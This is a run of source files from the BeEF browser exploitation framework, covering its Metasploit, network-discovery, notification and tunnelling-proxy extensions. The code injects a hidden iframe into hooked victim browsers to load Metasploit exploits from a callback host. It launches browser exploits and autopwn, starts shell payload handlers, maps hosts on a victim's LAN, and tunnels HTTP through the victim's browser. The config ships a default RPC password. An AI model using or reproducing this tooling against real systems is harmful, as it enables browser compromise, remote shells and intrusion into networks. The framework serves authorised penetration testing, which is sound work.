BeEF::Core::Models::Command.new( data: bopts.to_json, hooked_browser_id: hb.id, command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"), creationdate: Time.new.to_i ).save # Still need to create command object to store a string saying "Exploit launched @ [time]", to ensure BeEF can keep track of # which exploits where executed against which hooked browsers true end # Get module options + payloads when the beef framework requests this information def self.get_payload_options(mod, payload) msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key") return if msf_key.nil? msf = BeEF::Extension::Metasploit::RpcClient.instance return unless msf.login msf_module_options = msf.call('module.options', 'payload', payload) if msf_module_options BeEF::Extension::Metasploit.translate_options(msf_module_options) else print_error "Unable to retrieve metasploit payload options for exploit: #{msf_key}" end end # Mounts the handler for processing Metasploit RESTful API requests. # # @param beef_server [BeEF::Core::Server] HTTP server instance def self.mount_handler(beef_server) beef_server.mount('/api/msf', BeEF::Extension::Metasploit::MsfRest.new) end end end end end end ================================================ FILE: extensions/metasploit/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # Enable MSF integration by changing beef.extension.metasploit.enable # to true in BeEF's main config.yaml file. # # Ensure you load the msgrpc interface in Metasploit before starting BeEF: # msf > load msgrpc ServerHost=127.0.0.1 Pass=abc123 SSL=y # # Ensure that the IP address supplied to Metasploit with the 'ServerHost' # parameter is the same IP address as specified in beef.extension.metasploit.host # # Ensure that the IP address specified in beef.extension.metasploit.callback_host # is the publicly accessible IP address for victim connections to Metasploit. beef: extension: metasploit: name: 'Metasploit' enable: false # Metasploit msgrpc connection options host: "127.0.0.1" port: 55552 user: "msf" pass: "abc123" uri: '/api' ssl: true ssl_version: 'TLS1' ssl_verify: true # Public connect back host IP address for victim connections to Metasploit callback_host: "127.0.0.1" # URIPATH from Metasploit Browser AutoPwn server module autopwn_url: "autopwn" # Start msfrpcd automatically with BeEF auto_msfrpcd: false auto_msfrpcd_timeout: 120 msf_path: [ {os: 'osx', path: '/opt/local/msf/'}, {os: 'bt5r3', path: '/opt/metasploit/msf3/'}, {os: 'bt5', path: '/opt/framework3/msf3/'}, {os: 'backbox', path: '/opt/backbox/msf/'}, {os: 'kali', path: '/usr/share/metasploit-framework/'}, {os: 'pentoo', path: '/usr/lib/metasploit'}, {os: 'custom', path: ''} ] ================================================ FILE: extensions/metasploit/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Metasploit extend BeEF::API::Extension @short_name = 'msf' @full_name = 'Metasploit' @description = 'Metasploit integration' # Translates msf exploit options to beef options array def self.translate_options(msf_options) callback_host = BeEF::Core::Configuration.instance.get('beef.extension.metasploit.callback_host') options = [] msf_options.each do |k, v| next if v['advanced'] == true next if v['evasion'] == true v['allowBlank'] = 'true' if v['required'] == false case v['type'] when 'string', 'address', 'port', 'integer' v['type'] = 'text' v['value'] = if k == 'URIPATH' rand(3**20).to_s(16) elsif k == 'LHOST' callback_host else v['default'] end when 'bool' v['type'] = 'checkbox' when 'enum' v['type'] = 'combobox' v['store_type'] = 'arraystore', v['store_fields'] = ['enum'], v['store_data'] = translate_enums(v['enums']), v['value'] = v['default'] v['valueField'] = 'enum', v['displayField'] = 'enum', v['autoWidth'] = true, v['mode'] = 'local' end v['name'] = k v['label'] = k options << v end options end # Translates msf payloads to a beef compatible drop down def self.translate_payload(payloads) return unless payloads.key?('payloads') values = translate_enums(payloads['payloads']) default_payload = values.include?('generic/shell_bind_tcp') ? 'generic/shell_bind_tcp' : values.first return unless values.length.positive? { 'name' => 'PAYLOAD', 'type' => 'combobox', 'ui_label' => 'Payload', 'store_type' => 'arraystore', 'store_fields' => ['payload'], 'store_data' => values, 'valueField' => 'payload', 'displayField' => 'payload', 'mode' => 'local', 'autoWidth' => true, 'defaultPayload' => default_payload, 'reloadOnChange' => true } end # Translates metasploit enums to ExtJS combobox store_data def self.translate_enums(enums) enums.map { |e| [e] } end end end end require 'msfrpc-client' require 'extensions/metasploit/rpcclient' require 'extensions/metasploit/api' require 'extensions/metasploit/module' require 'extensions/metasploit/rest/msf' ================================================ FILE: extensions/metasploit/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # This is a dummy module to fool BeEF's loading system class Msf_module < BeEF::Core::Command def output command = BeEF::Core::Models::Command.find(@command_id) data = JSON.parse(command['data']) sploit_url = data[0]['sploit_url'] " beef.execute(function() { var result; try { var sploit = beef.dom.createInvisibleIframe(); sploit.src = '#{sploit_url}'; } catch(e) { for(var n in e) result+= n + ' ' + e[n] ; } });" end end ================================================ FILE: extensions/metasploit/rest/msf.rb ================================================ require_relative '../../../core/main/router/router' # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Metasploit # This class handles the routing of RESTful API requests for Metasploit integration class MsfRest < BeEF::Core::Router::Router # Filters out bad requests before performing any routing before do @msf ||= BeEF::Extension::Metasploit::RpcClient.instance config = BeEF::Core::Configuration.instance # Require a valid API token from a valid IP address halt 401 unless params[:token] == config.get('beef.api_token') halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end # Returns version of Metasploit get '/version' do version = @msf.call('core.version') result = {} result[:version] = version result.to_json rescue StandardError => e print_error "Internal error while retrieving Metasploit version (#{e.message})" halt 500 end # Returns all the jobs get '/jobs' do jobs = @msf.call('job.list') count = jobs.size result = {} result[:count] = count result[:jobs] = jobs result.to_json rescue StandardError => e print_error "Internal error while retrieving Metasploit job list (#{e.message})" halt 500 end # Returns information about a specific job given its id get '/job/:id/info' do id = params[:id] raise InvalidParamError, 'id' if id !~ /\A\d+\Z/ job = @msf.call('job.info', id) halt 404 if job.nil? job.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while retrieving Metasploit job with ID #{id} (#{e.message})" halt 500 end # Stops a job given its id get '/job/:id/stop' do result = {} begin id = params[:id] raise InvalidParamError, 'id' if id !~ /\A\d+\Z/ removed = @msf.call('job.stop', id) unless removed.nil? result['success'] = removed print_info "[Metasploit] Stopped job [id: #{id}]" end rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while stopping job with ID #{id} (#{e.message})" halt 500 end result.to_json end # Starts a new msf payload handler post '/handler' do body = JSON.parse(request.body.read) handler = @msf.call('module.execute', 'exploit', 'exploit/multi/handler', body) result = {} # example response: {"job_id"=>0, "uuid"=>"oye0kmpr"} if handler.nil? || handler['job_id'].nil? print_error '[Metasploit] Could not start payload handler' result['success'] = false else print_info "[Metasploit] Started job [id: #{handler['job_id']}]" print_debug @msf.call('job.info', handler['job_id']).to_s result['success'] = true result['id'] = handler['job_id'] end result.to_json rescue InvalidJsonError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while creating exploit handler (#{e.message})" halt 500 end # Raised when invalid JSON input is passed to an /api/msf handler. class InvalidJsonError < StandardError DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'.freeze def initialize(message = nil) super(message || DEFAULT_MESSAGE) end end # Raised when an invalid named parameter is passed to an /api/msf handler. class InvalidParamError < StandardError DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'.freeze def initialize(message = nil) str = 'Invalid "%s" parameter passed to /api/msf handler' message = format str, message unless message.nil? super(message) end end end end end end ================================================ FILE: extensions/metasploit/rpcclient.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Metasploit class RpcClient < ::Msf::RPC::Client include Singleton def initialize @config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit') unless @config.key?('host') || @config.key?('uri') || @config.key?('port') || @config.key?('user') || @config.key?('pass') print_error 'There is not enough information to initialize Metasploit connectivity at this time' print_error 'Please check your options in config.yaml to verify that all information is present' BeEF::Core::Configuration.instance.set('beef.extension.metasploit.enabled', false) BeEF::Core::Configuration.instance.set('beef.extension.metasploit.loaded', false) return end @lock = false @lastauth = nil @unit_test = false @msf_path = nil opts = { host: @config['host'] || '127.0.0.1', port: @config['port'] || 55_552, uri: @config['uri'] || '/api/', ssl: @config['ssl'], ssl_version: @config['ssl_version'], context: {} } print_warning '[Metasploit] Warning: Connections to Metasploit RPC over SSLv3 are insecure. Use TLSv1 instead.' if opts[:ssl_version].match?(/SSLv3/i) if @config['auto_msfrpcd'] @config['msf_path'].each do |path| @msf_path = "#{path['path']}/msfrpcd" if File.exist? "#{path['path']}/msfrpcd" end if @msf_path.nil? print_error '[Metasploit] Please add a custom path for msfrpcd to the config file.' return end print_info "[Metasploit] Found msfrpcd: #{@msf_path}" return unless launch_msfrpcd(opts) end super(opts) end # # @note auto start msfrpcd # def launch_msfrpcd(opts) if opts[:ssl] argssl = '-S' proto = 'http' else argssl = '' proto = 'https' end msf_url = "#{proto}://#{opts[:host]}:#{opts[:port]}#{opts[:uri]}" child = IO.popen([ @msf_path, '-f', argssl, '-P', @config['pass'], '-U', @config['user'], '-u', opts[:uri], '-a', opts[:host], '-p', opts[:port].to_s ], 'r+') print_info "[Metasploit] Attempt to start msfrpcd, this may take a while. PID: #{child.pid}" # Give daemon time to launch # poll and giveup after timeout retries = @config['auto_msfrpcd_timeout'] uri = URI(msf_url) http = Net::HTTP.new(uri.host, uri.port) if opts[:ssl] http.use_ssl = true http.ssl_version = opts[:ssl_version] end http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config['ssl_verify'] headers = { 'Content-Type' => 'binary/message-pack' } path = uri.path.empty? ? '/' : uri.path begin sleep 1 code = http.head(path, headers).code.to_i print_debug "[Metasploit] Success - HTTP response: #{code}" rescue StandardError retry if (retries -= 1).positive? end true end def get_lock sleep 0.2 while @lock @lock = true end def release_lock @lock = false end def call(meth, *args) super(meth, *args) rescue StandardError => e print_error "[Metasploit] RPC call to '#{meth}' failed: #{e}" print_error e.backtrace nil end def unit_test_init @unit_test = true end # login to metasploit def login get_lock res = super(@config['user'], @config['pass']) unless res print_error '[Metasploit] Could not authenticate to Metasploit RPC service.' return false end unless @lastauth print_info '[Metasploit] Successful connection with Metasploit.' unless @unit_test print_debug "[Metasploit] Received temporary token: #{token}" # Generate permanent token new_token = token_generate if new_token.nil? print_warning '[Metasploit] Could not retrieve permanent Metasploit token. Connection to Metasploit will time out in 5 minutes.' else self.token = new_token print_debug "[Metasploit] Received permanent token: #{token}" end end @lastauth = Time.now true ensure release_lock end # generate a permanent auth token def token_generate res = call('auth.token_generate') return unless res || res['token'] res['token'] end def browser_exploits get_lock res = call('module.exploits') return [] unless res || res['modules'] res['modules'].select { |m| m.include?('/browser/') }.sort ensure release_lock end def get_exploit_info(name) get_lock res = call('module.info', 'exploit', name) res || {} rescue StandardError => e print_error "Call module.info for module #{name} failed: #{e.message}" {} ensure release_lock end def get_payloads(name) get_lock res = call('module.compatible_payloads', name) res || {} rescue StandardError => e print_error "Call module.compatible_payloads for module #{name} failed: #{e.message}" {} ensure release_lock end def get_options(name) get_lock res = call('module.options', 'exploit', name) res || {} rescue StandardError => e print_error "Call module.options for module #{name} failed: #{e.message}" {} ensure release_lock end def payloads get_lock res = call('module.payloads') return {} unless res || res['modules'] res['modules'] rescue StandardError => e print_error "Call module.payloads failed: #{e.message}" {} ensure release_lock end def payload_options(name) get_lock res = call('module.options', 'payload', name) return {} unless res res rescue StandardError => e print_error "Call module.options for payload #{name} failed: #{e.message}" {} ensure release_lock end def launch_exploit(exploit, opts) get_lock res = call('module.execute', 'exploit', exploit, opts) proto = opts['SSL'] ? 'https' : 'http' res['uri'] = "#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}" res rescue StandardError => e print_error "Exploit failed for #{exploit}\n#{e.message}" false ensure release_lock end def launch_autopwn opts = { 'LHOST' => @config['callback_host'], 'URIPATH' => @apurl } get_lock call('module.execute', 'auxiliary', 'server/browser_autopwn', opts) rescue StandardError => e print_error "Failed to launch browser_autopwn: #{e.message}" false ensure release_lock end end end end end ================================================ FILE: extensions/network/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Network module RegisterHttpHandler BeEF::API::Registrar.instance.register(BeEF::Extension::Network::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') # Mounts the handler for processing network host info. # # @param beef_server [BeEF::Core::Server] HTTP server instance def self.mount_handler(beef_server) beef_server.mount('/api/network', BeEF::Extension::Network::NetworkRest.new) end end end end end ================================================ FILE: extensions/network/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: network: name: 'Network' enable: false authors: ["bcoles"] description: "This extension facilitates interaction with hosts on a zombie browser's local area network(s). It provides a point and click interface for performing a variety of actions including host discovery, fingerprinting and exploitation. Identified network hosts are available in the Network -> Hosts panel. Identified network services are available in the Network -> Services panel. Right-click a host or service for more options." # enable this option to record private network hosts and services only (RFC1918 IPv4, private IPv6, localhost) ignore_public_ips: false ================================================ FILE: extensions/network/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension # # This extension provides a simple interface for interacting with hosts # on a zombie browser's local area network(s). # module Network extend BeEF::API::Extension @short_name = 'network' @full_name = 'Network' @description = "This extension provides a simple interface for interacting with hosts on a zombie browser's local area networks." end end end require 'extensions/network/models/network_host' require 'extensions/network/models/network_service' require 'extensions/network/api' require 'extensions/network/rest/network' ================================================ FILE: extensions/network/models/network_host.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Models # # Table stores each host identified on the zombie browser's network(s) # class NetworkHost < BeEF::Core::Model belongs_to :hooked_browser # # Stores a network host in the data store # def self.add(host = {}) unless BeEF::Filters.is_valid_hook_session_id?(host[:hooked_browser_id]) print_error 'Invalid hooked browser session' return end unless BeEF::Filters.is_valid_ip?(host[:ip]) print_error 'Invalid IP address' return end # save network hosts with private IP addresses only? unless BeEF::Filters.is_valid_private_ip?(host[:ip]) configuration = BeEF::Core::Configuration.instance if configuration.get('beef.extension.network.ignore_public_ips') == true print_debug "Ignoring network host with public IP address [ip: #{host[:ip]}]" return end end # prepare new host for data store new_host = {} new_host[:hooked_browser_id] = host[:hooked_browser_id] new_host[:ip] = host[:ip] new_host[:hostname] = host[:hostname] unless host[:hostname].nil? new_host[:ntype] = host[:ntype] unless host[:ntype].nil? new_host[:os] = host[:os] unless host[:os].nil? new_host[:mac] = host[:mac] unless host[:mac].nil? # if host already exists in data store with the same details # then update lastseen and return existing_host = BeEF::Core::Models::NetworkHost.where(hooked_browser_id: new_host[:hooked_browser_id], ip: new_host[:ip]).limit(1) unless existing_host.empty? existing_host = existing_host.first existing_host.lastseen = Time.new.to_i existing_host.save! return end # store the new network host details new_host[:lastseen] = Time.new.to_i network_host = BeEF::Core::Models::NetworkHost.new(new_host) if network_host.save print_error 'Failed to save network host' return end network_host end # # Removes a network host from the data store # def self.delete(id) unless BeEF::Filters.nums_only?(id.to_s) print_error 'Failed to remove network host. Invalid host ID.' return end host = BeEF::Core::Models::NetworkHost.find(id.to_i) if host.nil? print_error "Failed to remove network host [id: #{id}]. Host does not exist." return end host.destroy end # # Convert a Network Host object to JSON # def to_h { id: id, hooked_browser_id: hooked_browser_id, ip: ip, hostname: hostname, ntype: ntype, os: os, mac: mac, lastseen: lastseen } end end end end end ================================================ FILE: extensions/network/models/network_service.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Models # # Table stores each open port identified on the zombie browser's network(s) # class NetworkService < BeEF::Core::Model belongs_to :hooked_browser # # Stores a network service in the data store # def self.add(service = {}) unless BeEF::Filters.is_valid_hook_session_id?(service[:hooked_browser_id]) print_error 'Invalid hooked browser session' return end unless BeEF::Filters.is_valid_ip?(service[:ip]) print_error 'Invalid IP address' return end unless BeEF::Filters.is_valid_port?(service[:port]) print_error 'Invalid port' return end # save network services with private IP addresses only? unless BeEF::Filters.is_valid_private_ip?(service[:ip]) configuration = BeEF::Core::Configuration.instance if configuration.get('beef.extension.network.ignore_public_ips') == true print_debug "Ignoring network service with public IP address [ip: #{service[:ip]}]" return end end # store the returned network host details BeEF::Core::Models::NetworkHost.create( hooked_browser_id: service[:hooked_browser_id], ip: service[:ip] ) # prevent duplicates total = BeEF::Core::Models::NetworkService.where( hooked_browser_id: service[:hooked_browser_id], proto: service[:proto], ip: service[:ip], port: service[:port], ntype: service[:ntype] ).length return if total.positive? # store the returned network service details network_service = BeEF::Core::Models::NetworkService.new( hooked_browser_id: service[:hooked_browser_id], proto: service[:proto], ip: service[:ip], port: service[:port], ntype: service[:ntype] ) if network_service.save print_error 'Failed to save network service' return end network_service end # Convert a Network Service object to JSON def to_h { id: id, hooked_browser_id: hooked_browser_id, proto: proto, ip: ip, port: port, ntype: ntype } end end end end end ================================================ FILE: extensions/network/rest/network.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Network # This class handles the routing of RESTful API requests that interact with network services on the zombie's LAN class NetworkRest < BeEF::Core::Router::Router # Filters out bad requests before performing any routing before do config = BeEF::Core::Configuration.instance @nh = BeEF::Core::Models::NetworkHost @ns = BeEF::Core::Models::NetworkService @hb = BeEF::Core::Models::HookedBrowser # Require a valid API token from a valid IP address halt 401 unless params[:token] == config.get('beef.api_token') halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end # Returns the entire list of network hosts for all zombies get '/hosts' do hosts = @nh.all.distinct.order(:id) count = hosts.length result = {} result[:count] = count result[:hosts] = [] hosts.each do |host| result[:hosts] << host.to_h end result.to_json rescue StandardError => e print_error "Internal error while retrieving host list (#{e.message})" halt 500 end # Returns the entire list of network services for all zombies get '/services' do services = @ns.all.distinct.order(:id) count = services.length result = {} result[:count] = count result[:services] = [] services.each do |service| result[:services] << service.to_h end result.to_json rescue StandardError => e print_error "Internal error while retrieving service list (#{e.message})" halt 500 end # Returns all hosts given a specific hooked browser id get '/hosts/:id' do id = params[:id] hooked_browser = @hb.where(session: id).distinct hosts = @nh.where(hooked_browser: hooked_browser).distinct.order(:hooked_browser) count = hosts.length result = {} result[:count] = count result[:hosts] = [] hosts.each do |host| result[:hosts] << host.to_h end result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})" halt 500 end # Returns all services given a specific hooked browser id get '/services/:id' do id = params[:id] services = @ns.where(hooked_browser_id: id).distinct.order(:id) count = services.length result = {} result[:count] = count result[:services] = [] services.each do |service| result[:services] << service.to_h end result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})" halt 500 end # Returns a specific host given its id get '/host/:id' do id = params[:id] host = @nh.find(id) raise InvalidParamError, 'id' if host.nil? halt 404 if host.nil? host.to_h.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while retrieving host with id #{id} (#{e.message})" halt 500 end # Deletes a specific host given its id delete '/host/:id' do id = params[:id] raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id) host = @nh.find(id) halt 404 if host.nil? result = {} result['success'] = @nh.delete(id) result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while removing network host with id #{id} (#{e.message})" halt 500 end # Returns a specific service given its id get '/service/:id' do id = params[:id] service = @ns.find(id) raise InvalidParamError, 'id' if service.nil? halt 404 if service.empty? service.to_h.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while retrieving service with id #{id} (#{e.message})" halt 500 end # Raised when invalid JSON input is passed to an /api/network handler. class InvalidJsonError < StandardError DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/network handler'.freeze def initialize(message = nil) super(message || DEFAULT_MESSAGE) end end # Raised when an invalid named parameter is passed to an /api/network handler. class InvalidParamError < StandardError DEFAULT_MESSAGE = 'Invalid parameter passed to /api/network handler'.freeze def initialize(message = nil) message = "Invalid \"#{message}\" parameter passed to /api/network handler" unless message.nil? super(message) end end end end end end ================================================ FILE: extensions/notifications/channels/email.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # # require 'net/smtp' module BeEF module Extension module Notifications module Channels class Email # # Constructor # def initialize(to_address, message) @config = BeEF::Core::Configuration.instance @from_address = @config.get('beef.extension.notifications.email.from_address') @smtp_host = @config.get('beef.extension.notifications.email.smtp_host') @smtp_port = @config.get('beef.extension.notifications.email.smtp_port') @smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable') @password = @config.get('beef.extension.notifications.email.smtp_tls_password') # configure the email client msg = "Subject: BeEF Notification\n\n#{message}" smtp = Net::SMTP.new @smtp_host, @smtp_port # if @smtp_tls_enable? # smtp.enable_starttls # smtp.start('beefproject.com', @from_address, @password, :login) do # smtp.send_message(msg, @from_address, @to_address) # end # else smtp.start do smtp.send_message(msg, @from_address, to_address) end # end end end end end end end ================================================ FILE: extensions/notifications/channels/ntfy.rb ================================================ require 'net/http' require 'uri' module BeEF module Extension module Notifications module Channels class Ntfy # Constructor def initialize(message) @config = BeEF::Core::Configuration.instance # Endpoint URL uri = URI.parse(@config.get('beef.extension.notifications.ntfy.endpoint_url')) # Create client http = Net::HTTP.new(uri.host, uri.port) # Create Request req = Net::HTTP::Post.new(uri.path) # Add authentication if configured if @config.get('beef.extension.notifications.ntfy.username') || @config.get('beef.extension.notifications.ntfy.password') req.basic_auth @config.get('beef.extension.notifications.ntfy.username'), @config.get('beef.extension.notifications.ntfy.password') end # Set headers and body req.content_type = 'text/plain' req['Title'] = 'BeEF Notification' req.body = message # Use SSL if the URI scheme is 'https' http.use_ssl = (uri.scheme == 'https') # Send request http.request(req) end end end end end end ================================================ FILE: extensions/notifications/channels/pushover.rb ================================================ require 'rushover' module BeEF module Extension module Notifications module Channels class Pushover def initialize(message) @config = BeEF::Core::Configuration.instance # Configure the Pushover Client client = Rushover::Client.new(@config.get('beef.extension.notifications.pushover.app_key')) res = client.notify(@config.get('beef.extension.notifications.pushover.user_key'), message) print_error '[Notifications] Pushover notification failed' unless res.ok? rescue StandardError => e print_error "[Notifications] Pushover notification initialization failed: '#{e.message}'" end end end end end end ================================================ FILE: extensions/notifications/channels/slack_workspace.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'slack-notifier' module BeEF module Extension module Notifications module Channels class SlackWorkspace def initialize(message) @config = BeEF::Core::Configuration.instance # Configure the Slack Client webhook_url = @config.get('beef.extension.notifications.slack.webhook_url') channel = @config.get('beef.extension.notifications.slack.channel') username = @config.get('beef.extension.notifications.slack.username') if webhook_url.include?('your_webhook_url') || !webhook_url.start_with?('https://hooks.slack.com/services/') print_error('[Notifications] Invalid Slack WebHook URL') return end notifier = Slack::Notifier.new( webhook_url, channel: channel, username: username, http_options: { open_timeout: 10 } ) notifier.ping message print_debug("[Notifications] Established Slack notification channel: #{webhook_url}") rescue StandardError => e print_error "[Notifications] Slack notification initialization failed: #{e.message}" end end end end end end ================================================ FILE: extensions/notifications/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: notifications: enable: false name: Notifications email: enable: false from_address: sender_email_address to_address: receipient_email_address smtp_host: 127.0.0.1 smtp_port: 25 pushover: enable: false user_key: pushover_user_key app_key: pushover_api_key # To enable WebHooks for your Slack workspace, # go to: https://slack.com/apps/A0F7XDUAZ-incoming-webhooks # Select "Add Configuration", then "Add Incoming WebHooks integration" slack: enable: false webhook_url: "your_webhook_url" channel: "#beef" # Slack channel username: "notifier" # Username can be anything ntfy: enable: false endpoint_url: "https://ntfy.sh/beef-[GUID]" # Update GUID username: "" # Leave blank if not needed password: "" # Leave blank if not needed ================================================ FILE: extensions/notifications/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Notifications extend BeEF::API::Extension @short_name = 'notifications' @full_name = 'Notifications' @description = 'Generates external notifications for events in BeEF' end end end require 'extensions/notifications/notifications' ================================================ FILE: extensions/notifications/notifications.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'extensions/notifications/channels/email' require 'extensions/notifications/channels/pushover' require 'extensions/notifications/channels/slack_workspace' require 'extensions/notifications/channels/ntfy' module BeEF module Extension module Notifications # # Notifications class # class Notifications def initialize(from, event, time_now, hb) @config = BeEF::Core::Configuration.instance return unless @config.get('beef.extension.notifications.enable') @from = from @event = event @time_now = time_now @hb = hb message = "#{from} #{event} #{time_now} #{hb}" if @config.get('beef.extension.notifications.email.enable') == true to_address = @config.get('beef.extension.notifications.email.to_address') BeEF::Extension::Notifications::Channels::Email.new(to_address, message) end BeEF::Extension::Notifications::Channels::Pushover.new(message) if @config.get('beef.extension.notifications.pushover.enable') == true BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message) if @config.get('beef.extension.notifications.slack.enable') == true BeEF::Extension::Notifications::Channels::Ntfy.new(message) if @config.get('beef.extension.notifications.ntfy.enable') == true end end end end end ================================================ FILE: extensions/proxy/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Proxy module API module RegisterHttpHandler BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start') BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') def self.pre_http_start(http_hook_server) config = BeEF::Core::Configuration.instance Thread.new do http_hook_server.semaphore.synchronize do BeEF::Extension::Proxy::Proxy.new end end end def self.mount_handler(beef_server) beef_server.mount('/api/proxy', BeEF::Extension::Proxy::ProxyRest.new) end end end end end end ================================================ FILE: extensions/proxy/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: proxy: name: 'Proxy' enable: false address: "127.0.0.1" port: 6789 authors: ["antisnatchor", "scotty"] key: "beef_key.pem" cert: "beef_cert.pem" ================================================ FILE: extensions/proxy/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Proxy extend BeEF::API::Extension @short_name = 'proxy' @full_name = 'proxy' @description = 'The tunneling proxy allows HTTP requests to the hooked origin to be tunneled through the victim browser' end end end require 'extensions/requester/models/http' # require 'extensions/proxy/models/http' require 'extensions/proxy/proxy' require 'extensions/proxy/api' require 'extensions/proxy/rest/proxy' ================================================ FILE: extensions/proxy/proxy.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'openssl' module BeEF module Extension module Proxy class Proxy HB = BeEF::Core::Models::HookedBrowser H = BeEF::Core::Models::Http @response = nil # Multi-threaded Tunneling Proxy: listens on host:port configured in extensions/proxy/config.yaml # and forwards requests to the hooked browser using the Requester component. def initialize @conf = BeEF::Core::Configuration.instance @proxy_server = TCPServer.new(@conf.get('beef.extension.proxy.address'), @conf.get('beef.extension.proxy.port')) # setup proxy for SSL/TLS ssl_context = OpenSSL::SSL::SSLContext.new # ssl_context.ssl_version = :TLSv1_2 # load certificate begin cert_file = @conf.get('beef.extension.proxy.cert') cert = File.read(cert_file) ssl_context.cert = OpenSSL::X509::Certificate.new(cert) rescue StandardError print_error "[Proxy] Could not load SSL certificate '#{cert_file}'" end # load key begin key_file = @conf.get('beef.extension.proxy.key') key = File.read(key_file) ssl_context.key = OpenSSL::PKey::RSA.new(key) rescue StandardError print_error "[Proxy] Could not load SSL key '#{key_file}'" end ssl_server = OpenSSL::SSL::SSLServer.new(@proxy_server, ssl_context) 